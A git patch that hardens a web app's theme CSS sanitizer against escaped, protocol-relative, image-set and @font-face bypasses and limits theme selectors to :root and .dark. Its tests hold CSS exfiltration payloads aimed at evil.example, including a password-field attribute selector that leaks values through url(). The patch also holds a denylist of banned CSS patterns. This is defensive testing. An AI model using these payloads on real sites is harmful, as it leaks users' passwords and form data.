From 6f1cad1c98fbfbb9928c796b4ee3408f26f63707 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 14:36:02 +0200 Subject: [PATCH] fix: close theme CSS sanitizer bypasses and enforce :root/.dark selectors The theme sanitizer was a short denylist. It missed protocol-relative `url(//host)`, schemes and keywords spelled with CSS escapes (`url(\68ttps:...)`, `@\69mport`), `image-set("https://...")` and `@font-face` sources, so a theme could load remote resources from the app document. `validateThemeSelectors` was never called, so theme CSS could also target `input[type=password]` or restyle real UI. The admin routes and the zip validator only sanitized when the safety check failed, and CSS returned by the `onThemeBeforeApply` plugin hook was injected as-is. - every `url()` except a `#fragment` and every `image-set()` is removed with its arguments; a banned construct spelled with escapes drops the whole stylesheet - theme CSS keeps only `:root` and `.dark` rules (no nested rules), plus `@font-face`, `@keyframes` and `@media`/`@supports` wrappers - sanitizing is unconditional everywhere, including plugin-transformed CSS; compiled token values may not contain escapes or `url()` --- app/api/admin/marketplace/route.ts | 14 +- app/api/admin/themes/route.ts | 14 +- lib/__tests__/theme-loader.test.ts | 47 +++++++ lib/plugin-types.ts | 8 +- lib/plugin-validator.ts | 14 +- lib/theme-compiler.ts | 5 +- lib/theme-loader.ts | 207 ++++++++++++++++++++++------- stores/theme-store.ts | 3 +- 8 files changed, 238 insertions(+), 74 deletions(-) diff --git a/app/api/admin/marketplace/route.ts b/app/api/admin/marketplace/route.ts index 914d88b46..b218c4ea3 100644 --- a/app/api/admin/marketplace/route.ts +++ b/app/api/admin/marketplace/route.ts @@ -20,7 +20,7 @@ import { } from '@/lib/admin/csp-frame-origins'; import JSZip from 'jszip'; import { MAX_PLUGIN_SIZE, MAX_THEME_SIZE, ALL_PERMISSIONS } from '@/lib/plugin-types'; -import { sanitizeThemeCSS, validateThemeCSSSafety } from '@/lib/theme-loader'; +import { sanitizeThemeCSS } from '@/lib/theme-loader'; import { configManager } from '@/lib/admin/config-manager'; async function getDirectoryUrl(): Promise { @@ -202,14 +202,12 @@ export async function POST(request: NextRequest) { let css = await cssFile.async('string'); - // Validate and sanitize CSS + // Sanitize unconditionally: the safety check is advisory, and the + // sanitizer is also what drops rules outside :root and .dark. const warnings: string[] = []; - const safety = validateThemeCSSSafety(css); - if (!safety.valid) { - const sanitized = sanitizeThemeCSS(css); - css = sanitized.css; - warnings.push(...sanitized.warnings); - } + const sanitized = sanitizeThemeCSS(css); + css = sanitized.css; + warnings.push(...sanitized.warnings); const existingTheme = await getTheme(resolvedId); const isUpdate = existingTheme !== null; diff --git a/app/api/admin/themes/route.ts b/app/api/admin/themes/route.ts index 74bb9ea1b..f600d09b6 100644 --- a/app/api/admin/themes/route.ts +++ b/app/api/admin/themes/route.ts @@ -11,7 +11,7 @@ import { import JSZip from 'jszip'; import { MAX_THEME_SIZE } from '@/lib/plugin-types'; -import { sanitizeThemeCSS, validateThemeCSSSafety } from '@/lib/theme-loader'; +import { sanitizeThemeCSS } from '@/lib/theme-loader'; /** * GET /api/admin/themes - List all admin-managed themes @@ -118,14 +118,12 @@ export async function POST(request: NextRequest) { let css = await cssFile.async('string'); - // Validate and sanitize CSS + // Sanitize unconditionally: the safety check is advisory, and the + // sanitizer is also what drops rules outside :root and .dark. const warnings: string[] = []; - const safety = validateThemeCSSSafety(css); - if (!safety.valid) { - const sanitized = sanitizeThemeCSS(css); - css = sanitized.css; - warnings.push(...sanitized.warnings); - } + const sanitized = sanitizeThemeCSS(css); + css = sanitized.css; + warnings.push(...sanitized.warnings); const now = new Date().toISOString(); const theme: ServerTheme = { diff --git a/lib/__tests__/theme-loader.test.ts b/lib/__tests__/theme-loader.test.ts index 1dd29a425..5d37554f1 100644 --- a/lib/__tests__/theme-loader.test.ts +++ b/lib/__tests__/theme-loader.test.ts @@ -233,4 +233,51 @@ describe('theme-loader', () => { expect(errors.some(e => e.includes('disallowed'))).toBe(true); }); }); + + describe('sanitizer bypasses', () => { + const BS = String.fromCharCode(92); // backslash + const PAYLOADS: Record = { + protocolRelative: ':root{--color-primary:#123} input[type=password][value$="a"]{background-image:url(//evil.example/k?a)}', + escapedScheme: ':root{--color-primary:#123} body{background:url(' + BS + '68ttps://evil.example/x)}', + imageSet: ':root{--color-primary:#123} body{background-image:image-set("https://evil.example/x" 1x)}', + escapedImport: '@' + BS + '69mport url(//evil.example/i.css); :root{--color-primary:#123}', + escapedUrl: ':root{--color-primary:#123; --x: ' + BS + '75rl(//evil.example/y)}', + fontFace: ':root{--color-primary:#123} @font-face{font-family:x;src:url(//evil.example/f?A);unicode-range:U+41} body{font-family:x}', + }; + + it.each(Object.entries(PAYLOADS))('%s: nothing reaches evil.example', (_name, css) => { + const { css: cleaned } = sanitizeThemeCSS(css); + expect(cleaned).not.toContain('evil.example'); + expect(sanitizeSkinCSS(css).css).not.toContain('evil.example'); + expect(validateThemeCSSSafety(css).valid).toBe(false); + }); + + it('drops rules for any selector but :root and .dark', () => { + const css = ':root{--color-primary:#123} [data-testid=sender]::after{content:"Verified sender"} .dark{--color-primary:#456}'; + const { css: cleaned, warnings } = sanitizeThemeCSS(css); + expect(cleaned).not.toContain('Verified sender'); + expect(cleaned).toContain('--color-primary:#123'); + expect(cleaned).toContain('--color-primary:#456'); + expect(warnings.some((w) => w.includes('[data-testid=sender]'))).toBe(true); + }); + + it('drops rules nested inside :root', () => { + const { css: cleaned } = sanitizeThemeCSS(':root{--color-primary:#123; & input[type=password]{display:none}}'); + expect(cleaned).not.toContain('password'); + }); + + it('keeps @media, @supports and @keyframes wrappers around allowed rules', () => { + const css = '@media (prefers-contrast: more){:root{--color-border:#000} body{display:none}} @keyframes pulse{from{opacity:0}to{opacity:1}}'; + const { css: cleaned } = sanitizeThemeCSS(css); + expect(cleaned).toContain('@media (prefers-contrast: more)'); + expect(cleaned).toContain('--color-border:#000'); + expect(cleaned).not.toContain('display:none'); + expect(cleaned).toContain('@keyframes pulse'); + }); + + it('keeps a same-document fragment reference', () => { + const css = ':root{--color-primary:#123; --mask: url(#fade)}'; + expect(sanitizeThemeCSS(css).css).toContain('url(#fade)'); + }); + }); }); diff --git a/lib/plugin-types.ts b/lib/plugin-types.ts index bd0bb525d..fee38be06 100644 --- a/lib/plugin-types.ts +++ b/lib/plugin-types.ts @@ -1103,8 +1103,12 @@ export const ALLOWED_PLUGIN_FILES = new Set([ export const DISALLOWED_CSS_PATTERNS = [ /@import\b/i, - /url\s*\(\s*['"]?https?:/i, - /url\s*\(\s*['"]?data:/i, + // Every url() except a same-document fragment loads something: a remote + // host (also written protocol-relative, `url(//host)`), a data: document, + // a same-origin path. Themes ship no assets, so none is needed. + /url\s*\(\s*(?!['"]?\s*#)/i, + // Takes plain strings, so it loads remote images without any url(). + /image-set\s*\(/i, /expression\s*\(/i, /javascript\s*:/i, /-moz-binding/i, diff --git a/lib/plugin-validator.ts b/lib/plugin-validator.ts index d7aa01686..c37210f58 100644 --- a/lib/plugin-validator.ts +++ b/lib/plugin-validator.ts @@ -11,7 +11,7 @@ import { MAX_THEME_SKIN_BYTES, ALLOWED_PLUGIN_FILES, } from './plugin-types'; -import { sanitizeThemeCSS, sanitizeSkinCSS, validateThemeCSSSafety } from './theme-loader'; +import { sanitizeThemeCSS, sanitizeSkinCSS } from './theme-loader'; import { compileAdvancedTheme, isAdvancedManifest } from './theme-compiler'; export interface ValidationResult { @@ -234,13 +234,11 @@ export async function extractTheme(file: File): Promise { let userCSS = ''; if (cssFile) { userCSS = await cssFile.async('string'); - const safety = validateThemeCSSSafety(userCSS); - if (!safety.valid) { - // Sanitize instead of rejecting - const sanitized = sanitizeThemeCSS(userCSS); - userCSS = sanitized.css; - warnings.push(...sanitized.warnings); - } + // Sanitize instead of rejecting, and always: the sanitizer is also what + // drops rules outside :root and .dark. + const sanitized = sanitizeThemeCSS(userCSS); + userCSS = sanitized.css; + warnings.push(...sanitized.warnings); } else if (!isAdvanced) { errors.push('Missing theme.css'); return { valid: false, errors, warnings, manifest, css: '', skin: null, preview: null }; diff --git a/lib/theme-compiler.ts b/lib/theme-compiler.ts index 55f3c6b69..d40d1f990 100644 --- a/lib/theme-compiler.ts +++ b/lib/theme-compiler.ts @@ -104,7 +104,10 @@ function isSafeTokenKey(key: string): boolean { function isSafeTokenValue(value: string): boolean { if (/[{}<>]/.test(value)) return false; if (value.includes(';')) return false; - if (/url\s*\(\s*['"]?(https?|data|javascript):/i.test(value)) return false; + // A token is a colour, length or font stack: it never needs an escape, + // and escapes are how `\75rl(` slips past a pattern check. + if (value.includes('\\')) return false; + if (/url\s*\(|image-set\s*\(/i.test(value)) return false; if (/expression\s*\(/i.test(value)) return false; if (/-moz-binding/i.test(value)) return false; if (/javascript\s*:/i.test(value)) return false; diff --git a/lib/theme-loader.ts b/lib/theme-loader.ts index 5ae8d2bbe..fa49e668d 100644 --- a/lib/theme-loader.ts +++ b/lib/theme-loader.ts @@ -8,57 +8,176 @@ const THEME_SKIN_STYLE_ID = 'active-theme-skin'; const THEME_SKIN_BODY_ATTR = 'data-theme-skin'; /** - * Sanitize theme CSS: strip dangerous patterns like @import, external url(), - * JavaScript expressions, and -moz-binding. Returns cleaned CSS. + * Resolve CSS escapes (`\69mport`, `\75rl(`, `\:`) so a keyword spelled with + * escapes is recognised for what the browser will read. For detection only: + * the output is not safe to inject, since a decoded `\"` would end a string. */ -export function sanitizeThemeCSS(css: string): { css: string; warnings: string[] } { - const warnings: string[] = []; - let cleaned = css; +function decodeCssEscapes(css: string): string { + return css.replace(/\\([0-9a-fA-F]{1,6})[ \t\n\r\f]?|\\([^\n\r\f0-9a-fA-F])/g, (_match, hex: string | undefined, ch: string | undefined) => { + if (hex === undefined) return ch ?? ''; + const codePoint = parseInt(hex, 16); + return codePoint > 0 && codePoint <= 0x10ffff ? String.fromCodePoint(codePoint) : '�'; + }); +} - for (const pattern of DISALLOWED_CSS_PATTERNS) { - if (pattern.test(cleaned)) { - warnings.push(`Removed disallowed pattern: ${pattern.source}`); - cleaned = cleaned.replace(new RegExp(pattern.source, 'gi'), '/* [removed] */'); - } +function stripComments(css: string): string { + return css.replace(/\/\*[\s\S]*?\*\//g, ' '); +} + +/** A disallowed construct that only appears once escapes are resolved. */ +function hasEscapedDisallowedPattern(css: string): boolean { + const decoded = decodeCssEscapes(stripComments(css)); + return DISALLOWED_CSS_PATTERNS.some((pattern) => pattern.test(decoded) && !pattern.test(css)); +} + +function stripDisallowedPatterns(css: string, label: string): { css: string; warnings: string[] } { + // Escapes that spell out a banned construct have no honest use, and where + // the construct ends can't be found without a full parser: drop it all. + if (hasEscapedDisallowedPattern(css)) { + return { css: '', warnings: [`${label}removed the stylesheet: it hides a disallowed pattern behind CSS escapes`] }; } + const warnings: string[] = []; + let cleaned = css; + for (const pattern of DISALLOWED_CSS_PATTERNS) { + if (pattern.test(cleaned)) { + warnings.push(`${label}removed disallowed pattern: ${pattern.source}`); + cleaned = removeMatches(cleaned, new RegExp(pattern.source, 'gi')); + } + } return { css: cleaned, warnings }; } /** - * Validate that theme CSS only targets :root and .dark selectors. - * Returns warnings for any other selectors found. + * Replace each match with a comment. A match that opens a function + * (`url(`, `image-set(`) takes its arguments along, up to the closing `)`. */ -export function validateThemeSelectors(css: string): string[] { - const warnings: string[] = []; +function removeMatches(css: string, pattern: RegExp): string { + let out = ''; + let last = 0; + let match: RegExpExecArray | null; + while ((match = pattern.exec(css)) !== null) { + let end = match.index + match[0].length; + if (match[0].endsWith('(')) end = findParenEnd(css, end); + out += css.slice(last, match.index) + '/* [removed] */'; + last = end; + pattern.lastIndex = Math.max(end, match.index + 1); + } + return out + css.slice(last); +} - // Remove comments - const noComments = css.replace(/\/\*[\s\S]*?\*\//g, ''); +/** Index just past the `)` closing a call whose arguments start at `start`. */ +function findParenEnd(css: string, start: number): number { + let depth = 1; + for (let i = start; i < css.length; i++) { + const c = css[i]; + if (c === '\\') { + i++; + } else if (c === '"' || c === "'") { + for (i++; i < css.length && css[i] !== c; i++) { + if (css[i] === '\\') i++; + } + } else if (c === '(') { + depth++; + } else if (c === ')' && --depth === 0) { + return i + 1; + } else if (c === ';' || c === '}' || c === '{') { + return i; + } + } + return css.length; +} - // Find selector blocks (text before { that isn't inside a value) - const selectorRegex = /([^{}]+)\{/g; - let match; - while ((match = selectorRegex.exec(noComments)) !== null) { - const selector = match[1].trim(); - // Allow :root, .dark, @font-face, @keyframes, @media - if ( - selector === ':root' || - selector === '.dark' || - selector.startsWith('@font-face') || - selector.startsWith('@keyframes') || - selector.startsWith('@media') || - selector === '' - ) { +/** + * Sanitize theme CSS: strip dangerous patterns like @import, url(), + * image-set(), JavaScript expressions and -moz-binding, then drop every + * rule whose selector is not `:root` or `.dark` (see restrictThemeSelectors). + */ +export function sanitizeThemeCSS(css: string): { css: string; warnings: string[] } { + const stripped = stripDisallowedPatterns(css, ''); + const scoped = restrictThemeSelectors(stripped.css); + return { css: scoped.css, warnings: [...stripped.warnings, ...scoped.warnings] }; +} + +const THEME_SELECTORS = new Set([':root', '.dark']); +const OPAQUE_AT_RULES = /^@(?:-webkit-)?keyframes\b|^@font-face\b/i; +const NESTING_AT_RULES = /^@(?:media|supports)\b/i; + +/** Index of the `}` closing the block opened just before `start`, or -1. */ +function findBlockEnd(css: string, start: number): number { + let depth = 1; + for (let i = start; i < css.length; i++) { + const c = css[i]; + if (c === '\\') { + i++; + } else if (c === '"' || c === "'") { + for (i++; i < css.length && css[i] !== c; i++) { + if (css[i] === '\\') i++; + } + } else if (c === '{') { + depth++; + } else if (c === '}' && --depth === 0) { + return i; + } + } + return -1; +} + +function filterThemeRules(css: string, warnings: string[]): string { + const out: string[] = []; + let i = 0; + while (i < css.length) { + const open = css.indexOf('{', i); + const semi = css.indexOf(';', i); + if (open === -1 || (semi !== -1 && semi < open)) { + // A statement without a block (`@charset`, `@namespace`, stray text). + const end = semi === -1 ? css.length : semi + 1; + const statement = css.slice(i, end).trim(); + if (statement && statement !== ';') warnings.push(`Removed "${statement.slice(0, 60)}" - themes only set :root and .dark variables`); + i = end; continue; } + const close = findBlockEnd(css, open + 1); + if (close === -1) { + warnings.push('Removed an unterminated rule'); + break; + } + const prelude = css.slice(i, open).trim(); + const body = css.slice(open + 1, close); + i = close + 1; - // Inside @media blocks, also allow :root and .dark - if (selector === ':root' || selector === '.dark') continue; - - warnings.push(`Non-standard selector "${selector}" - themes should only use :root and .dark`); + if (OPAQUE_AT_RULES.test(prelude)) { + out.push(`${prelude} {${body}}`); + } else if (NESTING_AT_RULES.test(prelude)) { + out.push(`${prelude} {${filterThemeRules(body, warnings)}}`); + } else if (prelude.split(',').every((selector) => THEME_SELECTORS.has(selector.trim())) && !body.includes('{')) { + out.push(`${prelude} {${body}}`); + } else { + warnings.push(`Removed rule for "${prelude.slice(0, 60)}" - themes only set :root and .dark variables`); + } } + return out.join('\n'); +} - return warnings; +/** + * Keep only rules for `:root` and `.dark` (declarations only, no nested + * rules), plus `@font-face`, `@keyframes`, and `@media` / `@supports` + * wrapping such rules. Theme CSS is injected into the app document; any + * other selector could restyle or hide real UI, or read form state through + * attribute selectors. Component-level styling belongs in a v2 skin. + */ +export function restrictThemeSelectors(css: string): { css: string; warnings: string[] } { + const warnings: string[] = []; + const filtered = filterThemeRules(stripComments(css), warnings); + return { css: filtered, warnings }; +} + +/** + * Validate that theme CSS only targets :root and .dark selectors. + * Returns a warning for every rule restrictThemeSelectors() would drop. + */ +export function validateThemeSelectors(css: string): string[] { + return restrictThemeSelectors(css).warnings; } /** @@ -135,15 +254,9 @@ export function removeThemeSkinCSS(): void { * prohibitions still apply. */ export function sanitizeSkinCSS(css: string): { css: string; warnings: string[] } { - const warnings: string[] = []; - let cleaned = css; - - for (const pattern of DISALLOWED_CSS_PATTERNS) { - if (pattern.test(cleaned)) { - warnings.push(`Skin: removed disallowed pattern: ${pattern.source}`); - cleaned = cleaned.replace(new RegExp(pattern.source, 'gi'), '/* [removed] */'); - } - } + const stripped = stripDisallowedPatterns(css, 'Skin: '); + const warnings = stripped.warnings; + let cleaned = stripped.css; // `@import` is already covered by DISALLOWED_CSS_PATTERNS, but skins also // get an explicit no-`@charset`/`@namespace` policy so they can't change @@ -167,12 +280,14 @@ export function validateThemeCSSSafety(css: string): { valid: boolean; errors: s return { valid: false, errors }; } - // Check for dangerous patterns + // Check for dangerous patterns, also when spelled with CSS escapes + const decoded = decodeCssEscapes(stripComments(css)); for (const pattern of DISALLOWED_CSS_PATTERNS) { - if (pattern.test(css)) { + if (pattern.test(decoded)) { errors.push(`Contains disallowed pattern: ${pattern.source}`); } } + errors.push(...restrictThemeSelectors(css).warnings); // Check the CSS actually sets some variables if (!css.includes('--color-')) { diff --git a/stores/theme-store.ts b/stores/theme-store.ts index e3a9e9d00..e9ad9da78 100644 --- a/stores/theme-store.ts +++ b/stores/theme-store.ts @@ -545,7 +545,8 @@ function applyCustomThemeCSS(theme: InstalledTheme, resolvedTheme: 'light' | 'da // Bail out if the user switched themes while we were awaiting handlers. if (useThemeStore.getState().activeThemeId !== themeId) return; if (transformed && transformed !== theme.css) { - injectThemeCSS(transformed); + // A plugin's output gets no more reach than a theme's own CSS. + injectThemeCSS(sanitizeThemeCSS(transformed).css); } }) .catch(() => {